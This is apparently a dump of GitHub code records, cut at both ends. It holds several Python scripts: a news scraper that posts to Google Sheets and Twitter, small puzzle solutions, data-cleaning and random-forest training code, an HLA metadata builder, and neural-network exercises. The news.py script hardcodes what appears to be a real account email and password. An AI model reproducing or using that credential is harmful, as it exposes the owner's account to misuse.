\"https://www.mckinsey.com/business-functions/mckinsey-analytics/our-insights\"\n http_pool = urllib3.connection_from_url(url)\n r = http_pool.urlopen('GET',url)\n soup = BeautifulSoup(r.data.decode('utf-8'), 'html.parser')\n items = soup.findAll('div', attrs={'class':\"item\"})\n df = pd.DataFrame(columns = [\"date\",\"type\",\"title\",\"url\",\"abstract\"])\n for i in progressbar.progressbar(items):\n new = i.find('span', attrs={'class':'eyebrow'})\n new_type = new.text.replace(\"\\t\",\"\").replace(\"\\n\",\"\").replace(\" \",\"\").split(\"-\")[0]\n if new_type in mckinsey_types:\n text_wrapper = i.find('div', attrs={'class':'text-wrapper'})\n date = text_wrapper.find('div', attrs={'class':'description'})\n date_text = date.find('time').text.replace(\"\\t\",\"\").replace(\"\\n\",\"\")\n title = text_wrapper.find('a')\n title_text = title.text.replace(\"\\t\",\"\").replace(\"\\n\",\"\")\n url = mckinsey_url_init + title.get('href')\n paragraph = getParagraph(url)\n abstract = textRankAlgorithm(paragraph)\n df = df.append({'date':date_text, 'type': new_type, 'title':title_text, 'url': url, 'abstract':abstract}, ignore_index=True)\n return df\n\ndef get_new_hbr():\n hbr_url_init = \"https://hbr.org/\"\n url = \"https://hbr.org/topic/data\"\n http_pool = urllib3.connection_from_url(url)\n r = http_pool.urlopen('GET',url)\n soup = BeautifulSoup(r.data.decode('utf-8'), 'html.parser')\n items = soup.findAll('div', attrs={'class':'row'})\n df = pd.DataFrame(columns = [\"date\",\"type\",\"title\",\"url\",\"abstract\"])\n for i in progressbar.progressbar(items):\n try:\n title = i.find('h3', attrs={'class': 'hed'})\n url = hbr_url_init + title.find('a').get(\"href\")\n title_text =title.text.replace(\"\\t\",\"\").replace(\"\\n\",\"\")\n type = i.find('span', attrs={'class':'content-type'})\n type_text = type.text.replace(\"\\t\",\"\").replace(\"\\n\",\"\")\n date_ul = i.find('ul', attrs={'class':'stream-utility plain-inline-list'})\n date_li = date_ul.find('li', attrs={'class':'utility pubdate'})\n date_text = date_li.text.replace(\"\\t\",\"\").replace(\"\\n\",\"\")\n paragraph = getParagraph(url)\n abstract = textRankAlgorithm(paragraph)\n df = df.append({'date':date_text, 'type': type_text, 'title':title_text, 'url': url, 'abstract':abstract}, ignore_index=True)\n except:\n pass\n return df\n\ndef send_data(sheet_name, df):\n SITE_ROOT = os.path.dirname(os.path.realpath('__file__'))\n scope = ['https://spreadsheets.google.com/feeds',\n 'https://www.googleapis.com/auth/drive']\n creds = ServiceAccountCredentials.from_json_keyfile_name(SITE_ROOT + '/client_secret.json', scope)\n client = gspread.authorize(creds)\n sheet = client.open_by_url(\"https://docs.google.com/spreadsheets/d/1k-ersaEgGhnAXU3Xah715J8BKdZtrJHdOdwMuwqFgzQ/edit#gid=0\")\n sheet_ = sheet.worksheet(sheet_name)\n data = sheet_.get_all_records()\n df_diff = get_new_entries(sheet_name, df)\n for index, i in df_diff.iterrows():\n sheet_.append_row([len(data)+1+index, i[\"date\"], i[\"type\"], i[\"title\"], i[\"url\"], i[\"abstract\"]])\n\ndef get_new_entries(sheet_name, df):\n SITE_ROOT = os.path.dirname(os.path.realpath('__file__'))\n scope = ['https://spreadsheets.google.com/feeds',\n 'https://www.googleapis.com/auth/drive']\n creds = ServiceAccountCredentials.from_json_keyfile_name(SITE_ROOT + '/client_secret.json', scope)\n client = gspread.authorize(creds)\n sheet = client.open_by_url(\"https://docs.google.com/spreadsheets/d/1k-ersaEgGhnAXU3Xah715J8BKdZtrJHdOdwMuwqFgzQ/edit#gid=0\")\n sheet_ = sheet.worksheet(sheet_name)\n data = sheet_.get_all_records()\n df_data = pd.DataFrame(data)\n if df_data.shape[0] == 0:\n return df\n else:\n df_data.drop(\"id\", axis=1, inplace=True)\n set_diff_df = pd.concat([df, df_data, df_data], sort=False).drop_duplicates(keep=False)\n set_diff_df.reset_index(inplace=True)\n return set_diff_df\n\ndef McKinsey():\n print(\"Init McKinsey:\")\n df_mckinsey = get_new_mckinsey()\n send_data(\"McKinsey\", df_mckinsey)\n print(\"finished McKinsey\")\ndef HBR():\n print(\"Init HBR:\")\n df_hbr = get_new_hbr()\n send_data(\"HBR\", df_hbr)\n print(\"finished HBR\")\ndef Forbes():\n print(\"Init Forbes:\")\n df_forbes = get_new_forbes()\n send_data(\"Forbes\", df_forbes)\n print(\"finished Forbes\")\n\n\n#sched = BlockingScheduler()\n\n#@sched.scheduled_job('cron', day_of_week='sun', hour=17)\ndef init():\n McKinsey()\n HBR()\n Forbes()\n#@sched.scheduled_job('cron', day_of_week='mon-wed-fri-sun', hour=17)\ndef wrapper():\n username = \"colatics.community@gmail.com\"\n password = \"weed4269\"\n df_post = getTextDrive()\n if df_post.shape[0]>0:\n for index, row in df_post.iterrows():\n twitter = row[\"twitter\"]\n facebook = row[\"facebook\"]\n instagram = row[\"instagram\"]\n text = row[\"text\"]\n if twitter != \"ok\":\n print(\"twitter\")\n postTwitter(text, username, password)\n updatePostStatus(index, 4)\n if instagram != \"ok\":\n pass\n # print(\"instagram\")\n # updatePostStatus(index, 5)\n if facebook != \"ok\":\n pass\n # print(\"facebok\")\n # updatePostStatus(index, 6)\n\n#sched.start()\ninit()\n","repo_name":"javierazd1305/news-colatics","sub_path":"news.py","file_name":"news.py","file_ext":"py","file_size_in_byte":8173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29911522847","text":"\ndef tic_tac_toe(inputs):\n a = check(inputs)\n b = check(zip(*inputs))\n c = [[inputs[i][i] for i in range(3)], [inputs[i][2 - i]for i in range(3)]]\n c = check(c) \n return a or b or c or \"It's a Tie\"\n \ndef check(x):\n for i in x:\n if len(set(i)) == 1:\n return \"Player {} wins\".format([\"2\", \"1\"][set(i) == {\"X\"}])\n return \"\"\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"5Q2RRBNJ8KcjCkPwP_17.py","file_name":"5Q2RRBNJ8KcjCkPwP_17.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19408132890","text":"\"\"\"\nID: neel.pa1\nLANG: PYTHON3\nTASK: skidesign\n\"\"\"\n\n\nfile_in = open('skidesign.in', 'r')\nfile_out = open('skidesign.out', 'w')\n\nhills = int(file_in.readline())\nsorted_elevations = [int(file_in.readline().strip()) for _ in range(hills)]\nresults = []\n\nfor i in range(1, 84):\n\n if i+17 > max(sorted_elevations): break\n r = 0\n for j in sorted_elevations:\n x = 0\n if j < i:\n x = (i-j)**2\n elif j > i+17:\n x = (j-(i+17))**2\n r += x\n results.append(r)\n\nresult = min(results)\n\n\nfile_out.write(str(result)+'\\n')\n","repo_name":"CoderN-P/CompetitiveProgramming","sub_path":"usaco/training/Section 1/1.4/ski_design.py","file_name":"ski_design.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40610963057","text":"import sys\nimport pandas as pd\nfrom sqlalchemy import create_engine\n\ndef load_data(messages_filepath, categories_filepath):\n '''\n Loads data from given input paths into a dataframe.\n\n INPUT\n messages_filepath: path to a csv file that contains all messages\n categories_filepath: path to a csv file that contains all categories\n\n OUTPUT\n Returns a single pandas DataFrame, \n which contains all messages and categories\n '''\n messages = pd.read_csv(messages_filepath)\n categories = pd.read_csv(categories_filepath)\n return messages.merge(categories, on=['id'])\n\n\ndef clean_data(df):\n '''\n Cleans the given dataframe and removes duplicates.\n\n INPUT:\n df pandas.DataFrame \n\n OUTPUT\n Return a cleaned dataframe. \n '''\n categories = df['categories'].str.split(';', expand=True)\n \n # rename columns\n categories.columns = categories.iloc[0].str.replace(r'[-](.*)', '')\n \n for column in categories:\n # set each value to be the last character of the string\n categories[column] = categories[column].str.replace(column+'-', '')\n \n # convert column from string to numeric\n categories[column] = pd.to_numeric(categories[column])\n\n # replace 'old' categories column with new categories dataframe\n df.drop(columns=['categories'], inplace=True)\n df = pd.concat([df, categories], axis=1)\n \n # remove duplicates\n df.drop_duplicates(inplace=True)\n\n # Remove rows with values not in [0,1]\n for column in categories:\n df = df.loc[df[column] <= 1 ]\n \n return df\n\ndef save_data(df, database_filename):\n '''\n Saves given DataFrame into given SQLite database file.\n\n INPUT\n df: pandas.DataFrame to save\n database_filename: name of the SQLite database\n '''\n engine = create_engine('sqlite:///'+database_filename)\n df.to_sql('disaster_messages', engine, index=False, if_exists='replace') \n\n\ndef main():\n if len(sys.argv) == 4:\n\n messages_filepath, categories_filepath, database_filepath = sys.argv[1:]\n\n print('Loading data...\\n MESSAGES: {}\\n CATEGORIES: {}'\n .format(messages_filepath, categories_filepath))\n df = load_data(messages_filepath, categories_filepath)\n\n print('Cleaning data...')\n df = clean_data(df)\n \n print('Saving data...\\n DATABASE: {}'.format(database_filepath))\n save_data(df, database_filepath)\n \n print('Cleaned data saved to database!')\n \n else:\n print('Please provide the filepaths of the messages and categories '\\\n 'datasets as the first and second argument respectively, as '\\\n 'well as the filepath of the database to save the cleaned data '\\\n 'to as the third argument. \\n\\nExample: python process_data.py '\\\n 'disaster_messages.csv disaster_categories.csv '\\\n 'DisasterResponse.db')\n\n\nif __name__ == '__main__':\n main()","repo_name":"jurkron/ds-nanodegree-project-2","sub_path":"data/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17362089296","text":"import os\r\n\r\n# prompt the user to enter a directory location for modifying text files\r\nwhile True:\r\n dir_path = input(\"Enter the directory path for modifying txt files (leave empty to use the same directory as the script): \").strip()\r\n if not dir_path:\r\n cwd = os.getcwd()\r\n break\r\n if os.path.isdir(dir_path):\r\n cwd = dir_path\r\n break\r\n else:\r\n print(\"Directory not found. Please enter a valid directory path.\")\r\n\r\n# prompt the user to enter the insert text and comma position\r\ninsert_text = input(\"Enter the text to insert: \")\r\ninsert_pos = int(input(\"Enter the comma position to insert the text after (0 to insert at beginning): \"))\r\n\r\n# loop through all files in the specified directory\r\nfor filename in os.listdir(cwd):\r\n # check if the file is a txt file\r\n if filename.endswith(\".txt\"):\r\n # create a list to store the updated lines\r\n updated_lines = []\r\n # open the file for reading\r\n with open(os.path.join(cwd, filename), \"r\") as f:\r\n # loop through each line in the file\r\n for line in f:\r\n # split the line into a list of strings\r\n line_list = line.strip().split(\",\")\r\n # insert the text at the specified position\r\n if insert_pos == 0:\r\n line_list.insert(0, insert_text)\r\n else:\r\n line_list.insert(insert_pos, \" \" + insert_text)\r\n # join the list back into a string and add it to the updated lines list\r\n updated_lines.append(\",\".join(line_list))\r\n # open the file for writing\r\n with open(os.path.join(cwd, filename), \"w\") as f:\r\n # write each updated line to the file\r\n for line in updated_lines:\r\n f.write(line + \"\\n\")\r\n\r\nif insert_pos == 0:\r\n for filename in os.listdir(cwd):\r\n if filename.endswith(\".txt\"):\r\n filepath = os.path.join(cwd, filename)\r\n with open(filepath, \"r\") as f:\r\n text = f.read()\r\n with open(filepath, \"w\") as f:\r\n f.write(text.replace(\",\", \", \", 1))\r\n","repo_name":"giteeeeee/Batch-modify-txt","sub_path":"Insert_text.py","file_name":"Insert_text.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37526487823","text":"# -*- coding: utf-8 -*-\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.preprocessing import Imputer\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.model_selection import GridSearchCV\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.metrics import f1_score\r\nfrom sklearn.metrics import make_scorer\r\nfrom sklearn.pipeline import Pipeline\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.model_selection import learning_curve\r\nfrom sklearn.model_selection import validation_curve\r\nimport matplotlib.pyplot as plt\r\nfrom seaborn import heatmap\r\nfrom sklearn.externals import joblib\r\n\r\n\r\n'''\r\n基本操作\r\n・行数\r\n print len(df)\r\n・行列数\r\n print df.shape\r\n・データフレームの情報\r\n print df.info\r\n・データの件数、統計情報の確認\r\n print df.describe()\r\n・文字型、数値型を判定する方法?\r\n type(o),isinstance(o, type)\r\n・特定データへの名前でのアクセス\r\n X_default=df.ix[:,'default']\r\n print X_default\r\n・データ操作\r\n print df.query(\"age > '30'\")\r\n condition = 30\r\n print df.query(\"age > @condition\")\r\n・部分文字列検索\r\n selector = pd.Series(df.columns).str.contains(\"age\")\r\n print df.ix[:,np.array(selector)]\r\n・データ削除\r\n del df['default']\r\n print df\r\n'''\r\n\r\n# データ読込\r\ndf = pd.read_csv('bank-additional-cast.csv',sep=';',header=0)\r\n\r\n\"\"\"\r\n# 欠損値の割合を調査\r\nprint \"--欠損値数--\"\r\nprint \"age\\t:\" + str(len(df.query(\"age == 'N'\")))\r\nprint \"job\\t:\" + str(len(df.query(\"job == 'N'\")))\r\nprint \"marital\\t:\" + str(len(df.query(\"marital == 'N'\")))\r\nprint \"education\\t:\" + str(len(df.query(\"education == 'N'\")))\r\nprint \"default\\t:\" + str(len(df.query(\"default == 'N'\")))\r\nprint \"housing\\t:\" + str(len(df.query(\"housing == 'N'\")))\r\nprint \"loan\\t:\" + str(len(df.query(\"loan == 'N'\")))\r\nprint \"contact\\t:\" + str(len(df.query(\"contact == 'N'\")))\r\nprint \"month\\t:\" + str(len(df.query(\"month == 'N'\")))\r\nprint \"day_of_week\\t:\" + str(len(df.query(\"day_of_week == 'N'\")))\r\nprint \"duration\\t:\" + str(len(df.query(\"duration == 'N'\")))\r\nprint \"campaign\\t:\" + str(len(df.query(\"campaign == 'N'\")))\r\nprint \"pdays\\t:\" + str(len(df.query(\"pdays == '999'\")))\r\nprint \"previous\\t:\" + str(len(df.query(\"previous == 'N'\")))\r\nprint \"poutcome\\t:\" + str(len(df.query(\"poutcome == 'N'\")))\r\n#print \"emp.var.rate\\t:\" + str(len(df.query(\"emp.var.rate == 'N'\")))\r\n#print \"cons.price.idx\\t:\" + str(len(df.query(\"cons.price.idx == 'N'\")))\r\nprint \"euribor3m\\t:\" + str(len(df.query(\"euribor3m == 'N'\")))\r\nprint \"y\\t:\" + str(len(df.query(\"y == 'N'\")))\r\n\"\"\"\r\n# 欠損値の補完 \r\n# pdaysは平均値補完\r\nimp = Imputer(missing_values='NaN', strategy='mean', axis=0)\r\nimp.fit(df[[\"pdays\"]])\r\ndf[\"pdays\"]=imp.transform(df[[\"pdays\"]]).ravel()\r\n\r\n# 上記以外は最頻値補完\r\nimp = Imputer(missing_values='NaN', strategy='most_frequent', axis=0)\r\nimp.fit(df[[\"job\"]])\r\ndf[\"job\"]=imp.transform(df[[\"job\"]]).ravel()\r\n\r\nimp = Imputer(missing_values='NaN', strategy='most_frequent', axis=0)\r\nimp.fit(df[[\"marital\"]])\r\ndf[\"marital\"]=imp.transform(df[[\"marital\"]]).ravel()\r\n\r\nimp = Imputer(missing_values='NaN', strategy='most_frequent', axis=0)\r\nimp.fit(df[[\"education\"]])\r\ndf[\"education\"]=imp.transform(df[[\"education\"]]).ravel()\r\n\r\nimp = Imputer(missing_values='NaN', strategy='most_frequent', axis=0)\r\nimp.fit(df[[\"default\"]])\r\ndf[\"default\"]=imp.transform(df[[\"default\"]]).ravel()\r\n\r\nimp = Imputer(missing_values='NaN', strategy='most_frequent', axis=0)\r\nimp.fit(df[[\"housing\"]])\r\ndf[\"housing\"]=imp.transform(df[[\"housing\"]]).ravel()\r\n\r\nimp = Imputer(missing_values='NaN', strategy='most_frequent', axis=0)\r\nimp.fit(df[[\"loan\"]])\r\ndf[\"loan\"]=imp.transform(df[[\"loan\"]]).ravel()\r\n\r\n#\r\n# 現状把握\r\n#\r\n# 各データ分布を表示\r\ndf.hist(figsize=(12, 12))\r\n# 相関分析\r\nplt.figure(figsize=(15,15))\r\nheatmap(df.corr(), annot=True)\r\n# 分布確認時に\"default\"は値が一種類しかないため項目から削除\r\ndf.drop(['default'], axis=1, inplace=True)\r\n\r\n# 前処理後のCSV出力\r\ndf.to_csv('bank-additional-cast-comp.csv',sep=';',index=False)\r\n \r\n#\r\n# 特徴量の選択\r\n#\r\n# 説明変数,目的変数の抽出\r\nX = df.ix[:,0:-1].values\r\ny = df.iloc[:,-1].values\r\n# 学習データとテストデータの分離\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.1, random_state=1)\r\n# ランダムフォレストの作成\r\nforest = RandomForestClassifier(min_samples_leaf=3, random_state=1)\r\nforest.fit(X_train, y_train)\r\n\r\n#評価\r\nprint('Train score: {}'.format(forest.score(X_train, y_train)))\r\nprint('Test score: {}'.format(forest.score(X_test, y_test)))\r\nprint('Confusion matrix:\\n{}'.format(confusion_matrix(y_test, forest.predict(X_test))))\r\nprint('f1 score: {:.3f}'.format(f1_score(y_test, forest.predict(X_test))))\r\n\r\n# 説明変数の重要度を表示\r\nvalues, names = zip(*sorted(zip(forest.feature_importances_, df.columns)))\r\nplt.figure(figsize=(12,12))\r\nplt.barh(range(len(names)), values, align='center')\r\nplt.yticks(range(len(names)), names)\r\n\r\n# 学習曲線\r\npipe_lr = Pipeline([\r\n ('scl', StandardScaler()),\r\n ('clf', forest),\r\n])\r\ntrain_sizes, train_scores, test_scores = learning_curve(\r\n estimator=pipe_lr,\r\n X=X_train,\r\n y=y_train,\r\n train_sizes=np.linspace(0.1, 1.0, 10),\r\n cv=10,\r\n n_jobs=1,\r\n)\r\n\r\ntrain_mean = np.mean(train_scores, axis=1)\r\ntrain_std = np.std(train_scores, axis=1)\r\ntest_mean = np.mean(test_scores, axis=1)\r\ntest_std = np.std(test_scores, axis=1)\r\n\r\nplt.plot(\r\n train_sizes,\r\n train_mean,\r\n color='blue',\r\n marker='o',\r\n markersize=5,\r\n label='training accuracy',\r\n)\r\nplt.fill_between(\r\n train_sizes,\r\n train_mean + train_std,\r\n train_mean - train_std,\r\n alpha=0.15,\r\n color='blue',\r\n)\r\nplt.plot(\r\n train_sizes,\r\n test_mean,\r\n color='green',\r\n linestyle='--',\r\n marker='s',\r\n markersize=5,\r\n label='validation accuracy',\r\n)\r\nplt.fill_between(\r\n train_sizes,\r\n test_mean + test_std,\r\n test_mean - test_std,\r\n alpha=0.15,\r\n color='green',\r\n)\r\n\r\nplt.grid()\r\nplt.xlabel('Number of training samples')\r\nplt.ylabel('Accuracy')\r\nplt.legend(loc='lower right')\r\nplt.ylim([0.8, 1.0])\r\nplt.show()\r\n\r\n\r\n# 検証曲線\r\n\"\"\"\r\nparam_name: 'clf__'の後に各アルゴリズムで使用するパラメータ名で指定する。\r\n LogisticRegression - clf__C\r\n SVM - clf__gamma\r\n RandomForestClassifier - clf__n_estimators\r\n\"\"\"\r\nparam_range = [1,5,10,100,1000]\r\ntrain_scores, test_scores = validation_curve(\r\n estimator=pipe_lr,\r\n X=X_train,\r\n y=y_train,\r\n param_name='clf__n_estimators',\r\n param_range=param_range,\r\n cv=10,\r\n n_jobs=1,\r\n)\r\n\r\ntrain_mean = np.mean(train_scores, axis=1)\r\ntrain_std = np.std(train_scores, axis=1)\r\ntest_mean = np.mean(test_scores, axis=1)\r\ntest_std = np.std(test_scores, axis=1)\r\n\r\nplt.plot(\r\n param_range,\r\n train_mean,\r\n color='blue',\r\n marker='o',\r\n markersize=5,\r\n label='training accuracy',\r\n)\r\nplt.fill_between(\r\n param_range,\r\n train_mean + train_std,\r\n train_mean - train_std,\r\n alpha=0.15,\r\n color='blue',\r\n)\r\nplt.plot(\r\n param_range,\r\n test_mean,\r\n color='green',\r\n linestyle='--',\r\n marker='s',\r\n markersize=5,\r\n label='validation accuracy',\r\n)\r\nplt.fill_between(\r\n param_range,\r\n test_mean + test_std,\r\n test_mean - test_std,\r\n alpha=0.15,\r\n color='green',\r\n)\r\n\r\nplt.grid()\r\nplt.xscale('log')\r\nplt.xlabel('n_estimators')\r\nplt.ylabel('Accuracy')\r\nplt.legend(loc='lower right')\r\nplt.ylim([0.8, 1.0])\r\nplt.show()\r\n\r\n#\r\n# グリッドサーチで最適なパラメータの探索\r\n#\r\n\"\"\"\r\n ・n_estimators:木の数(特徴量Nの場合、N^1/2がよい?)\r\n ・max_features:各決定木で分類に使用する説明変数の数\r\n ・max_depth:各決定木の深さ\r\n ・min_samples_leaf:決定木の葉に分類されるサンプル数\r\n\r\n http://ohke.hateblo.jp/entry/2017/08/04/230000\r\n http://d.hatena.ne.jp/shakezo/20121221/1356089207\r\n\"\"\"\r\n# ハイパーパラメータ\r\nforest_grid_param = {\r\n 'n_estimators': [225,250,260],\r\n 'max_features': [1, 'auto', None],\r\n 'max_depth': [1, 5, 10, None],\r\n 'min_samples_leaf': [1, 2, 4,]\r\n}\r\n\r\n# スコア方法をF1に設定\r\nf1_scoring = make_scorer(f1_score, pos_label=1)\r\n# グリッドサーチで学習\r\nforest_grid_search = GridSearchCV(RandomForestClassifier(\r\n random_state=0, n_jobs=-1), forest_grid_param, \r\nscoring=f1_scoring, cv=4)\r\nforest_grid_search.fit(X_train, y_train)\r\n\r\n# 結果\r\nprint('Best parameters: {}'.format(forest_grid_search.best_params_))\r\nprint('Best score: {:.3f}'.format(forest_grid_search.best_score_))\r\n\r\n\r\n#\r\n# 再学習\r\n# 最適パラメータ使って評価\r\n#\r\nbest_params = forest_grid_search.best_params_\r\nforest = RandomForestClassifier(random_state=0, n_jobs=1, \r\n max_depth=best_params['max_depth'], \r\n max_features=best_params['max_features'], \r\n min_samples_leaf=best_params['min_samples_leaf'],\r\n n_estimators=best_params['n_estimators'])\r\nforest.fit(X_train, y_train)\r\nprint('Train score: {:.3f}'.format(forest.score(X_train, y_train)))\r\nprint('Test score: {:.3f}'.format(forest.score(X_test, y_test)))\r\nprint('Confusion matrix:\\n{}'.format(confusion_matrix(y_test, forest.predict(X_test))))\r\nprint('f1 score: {:.3f}'.format(f1_score(y_test, forest.predict(X_test))))\r\n\r\n# モデル保存\r\njoblib.dump(forest, 'forest.pkl', compress=True) ","repo_name":"mujina-n/templete","sub_path":"docker/train/forest.py","file_name":"forest.py","file_ext":"py","file_size_in_byte":9563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30013796647","text":"\nclass Country:\n def __init__(self,name,population,area):\n self.name=name\n self.population=population\n self.area=area\n self.is_big=self.area>3*10**6or self.population>25*10**7\n def compare_pd(self,other):\n a=self.population/self.area\n b=other.population/other.area\n return'{0} has a {2} population density than {1}'.format(self.name,other.name,'larger'if a>b else'smaller')\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"smLmHK89zNoeaDSZp_2.py","file_name":"smLmHK89zNoeaDSZp_2.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30494897944","text":"import pandas as pd\nimport os\nimport json\n\n# [Import helper functions] ----------------------------------------------------------------------------------------------------\n# Helper functions for cleanup...\nimport helpers\n\n\ndef get_hla_downloads(dateModified, downloads, experiments, version, datasetID):\n summary = get_hla_summary(dateModified, experiments, version, datasetID)\n bams = get_bam_files(dateModified, experiments, version, datasetID)\n\n ds = pd.concat([summary, bams])\n return(ds)\n\ndef get_hla_summary(dateModified, experiments, version, datasetID, fileName = \"HLA_Genotype_calls.csv\", fileURL=\"https://raw.githubusercontent.com/andersen-lab/lassa-ebola-hla/master/Genotype_calls.csv\"):\n ds = {}\n\n # --- static variables ---\n # identifiers\n ds['@context'] = \"http://schema.org/\"\n ds[\"@type\"] = \"DataDownload\"\n ds[\"includedInDataset\"] = datasetID\n ds[\"name\"] = fileName\n ds[\"description\"] = \"Summary table of all HLA genotype assignments\"\n ds[\"identifier\"] = fileName\n\n # properties\n ds[\"measurementCategory\"] = \"Systems Serology\"\n ds[\"additionalType\"] = \"summary data\"\n ds[\"encodingFormat\"] = \"text/csv\"\n ds[\"contentUrl\"] = fileURL\n ds[\"datePublished\"] = \"2017-08-11\"\n\n # credit\n ds['creator'] = [helpers.getLabAuthor(\"KGA\")]\n ds['publisher'] = [helpers.cvisb]\n\n\n# --- possibly variable, each time ---\n ds[\"version\"] = version\n ds[\"dateModified\"] = dateModified\n # pulled from experiments\n cats = helpers.getUnique(experiments, \"measurementCategory\")\n if(len(cats) == 1):\n ds[\"measurementCategory\"] = cats[0]\n else:\n raise Exception(\"More than one measurementCategory found. Should only be one per dataset.\")\n datasets = helpers.getUnique(experiments, \"includedInDataset\")\n if(len(datasets) == 1):\n id = datasets[0]\n if(id != datasetID):\n raise Exception(\"includedInDataset doesn't match between experiments and dataDownloads\")\n else:\n raise Exception(\"More than one includedInDataset found. Should only be one per dataset.\")\n ds['creator'] = helpers.getUnique(experiments, \"creator\")\n ds['publisher'] = helpers.getUnique(experiments, \"publisher\")\n ds[\"measurementTechnique\"] = helpers.getUnique(experiments, \"measurementTechnique\")\n ds[\"variableMeasured\"] = helpers.getUnique(experiments, \"variableMeasured\")\n ds[\"experimentIDs\"] = list(experiments.experimentID)\n\n return(pd.DataFrame([ds]))\n\ndef get_bam_files(dateModified, experiments, version, datasetID):\n bams = []\n for i, expt in experiments.iterrows():\n bam_loc = get_bam_file(dateModified, expt, version, datasetID)\n bams.append(bam_loc)\n\n return(pd.DataFrame(bams))\n\ndef get_bam_file(dateModified, expt, version, datasetID, fileDescription=\"raw .bam file for\"):\n ds = {}\n\n # --- static variables ---\n # identifiers\n ds['@context'] = \"http://schema.org/\"\n ds[\"@type\"] = \"DataDownload\"\n ds[\"includedInDataset\"] = datasetID\n ds[\"name\"] = f\"{expt.privatePatientID}.bam\"\n ds[\"description\"] = f\"{fileDescription} {ds['name']}\"\n ds[\"identifier\"] = ds['name']\n\n # properties\n ds[\"additionalType\"] = \"raw data\"\n ds[\"encodingFormat\"] = \"application/bam\"\n loc = get_bam_location(expt.privatePatientID)\n ds[\"contentUrl\"] = loc['contentUrl']\n ds[\"contentUrlRepository\"] = loc['contentUrlRepository']\n ds[\"contentUrlIdentifier\"] = expt.privatePatientID\n\n# --- possibly variable, each time ---\n ds[\"version\"] = version\n ds[\"dateModified\"] = dateModified\n # pulled from experiments\n creator = expt.creator\n if(creator is not None):\n ds['creator'] = [expt.creator]\n ds['publisher'] = [expt.publisher]\n ds[\"measurementTechnique\"] = [expt.measurementTechnique]\n ds[\"variableMeasured\"] = [expt.variableMeasured]\n ds[\"measurementCategory\"] = expt.measurementCategory\n ds[\"experimentIDs\"] = [expt.experimentID]\n\n return(ds)\n\ndef get_bam_location(exptID):\n url = f\"https://storage.cloud.google.com/andersen-lab_project_hla/bam_files/{exptID}.bam?folder=true&organizationId=583273335017\"\n contentUrlRepository = \"SRA\"\n contentRepository = \"Google Cloud Storage\"\n return({\"contentUrl\": url, \"contentRepository\": contentRepository, \"contentUrlRepository\": contentUrlRepository})\n","repo_name":"cvisb/cvisb_data","sub_path":"sample-viewer-api/src/static/data/compile_cvisb_data/clean_hla/generate_hla_datadownload.py","file_name":"generate_hla_datadownload.py","file_ext":"py","file_size_in_byte":4308,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"41618833337","text":"import pandas as pd\nfrom sklearn.feature_selection import mutual_info_classif\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.metrics import accuracy_score\n\n# Load CSV file\ndf = pd.read_csv('training.csv')\n\n# Split data into features and target\nX = df.drop('ONCOGENIC', axis=1)\ny = df['ONCOGENIC']\n\n# Split data into train and test sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n\n# Calculate information gain for each feature\nig_scores = mutual_info_classif(X_train, y_train)\n\n# Select top features based on information gain\nnum_top_features = 10\ntop_features = X.columns[ig_scores.argsort()[::-1][:num_top_features]]\n\n# Train a classifier using selected features\nclf = GaussianNB()\nclf.fit(X_train[top_features], y_train)\n\n# Make predictions on test set and calculate accuracy\ny_pred = clf.predict(X_test[top_features])\naccuracy = accuracy_score(y_test, y_pred)\n\nprint('Accuracy:', accuracy)\n","repo_name":"ZeeFcd/projektmunka3","sub_path":"FilterMethods/InformationGain.py","file_name":"InformationGain.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4350946567","text":"class Solution(object):\n def longestCommonPrefix(self, strs):\n \"\"\"\n :type strs: List[str]\n :rtype: str\n \"\"\"\n if len(strs) == 0:\n return ''\n cpre = strs[0]\n for onestr in strs[1:]:\n i = 0\n while i < len(cpre) and i < len(onestr) and cpre[i] == onestr[i]:\n i = i + 1\n cpre = cpre[:i]\n\n return cpre\n","repo_name":"mummyok/leetcode","sub_path":"Python/easy/longgest_common_prefix.py","file_name":"longgest_common_prefix.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12009739721","text":"# ---------------------------------------------------------\n# Calculate node 0 value: node_0_value\nnode_0_value = (input_data * weights['node_0']).sum()\n\n# Calculate node 1 value: node_1_value\nnode_1_value = (input_data * weights['node_1']).sum()\n\n# Put node values into array: hidden_layer_outputs\nhidden_layer_outputs = np.array([node_0_value, node_1_value])\n\n# Calculate output: output\noutput = (hidden_layer_outputs * weights['output']).sum()\n\n# Print output\nprint(output)\n\n# ---------------------------------------------------------\ndef relu(input):\n '''Define your relu activation function here'''\n # Calculate the value for the output of the relu function: output\n output = max(input, 0)\n\n # Return the value just calculated\n return (output)\n\n\n# Calculate node 0 value: 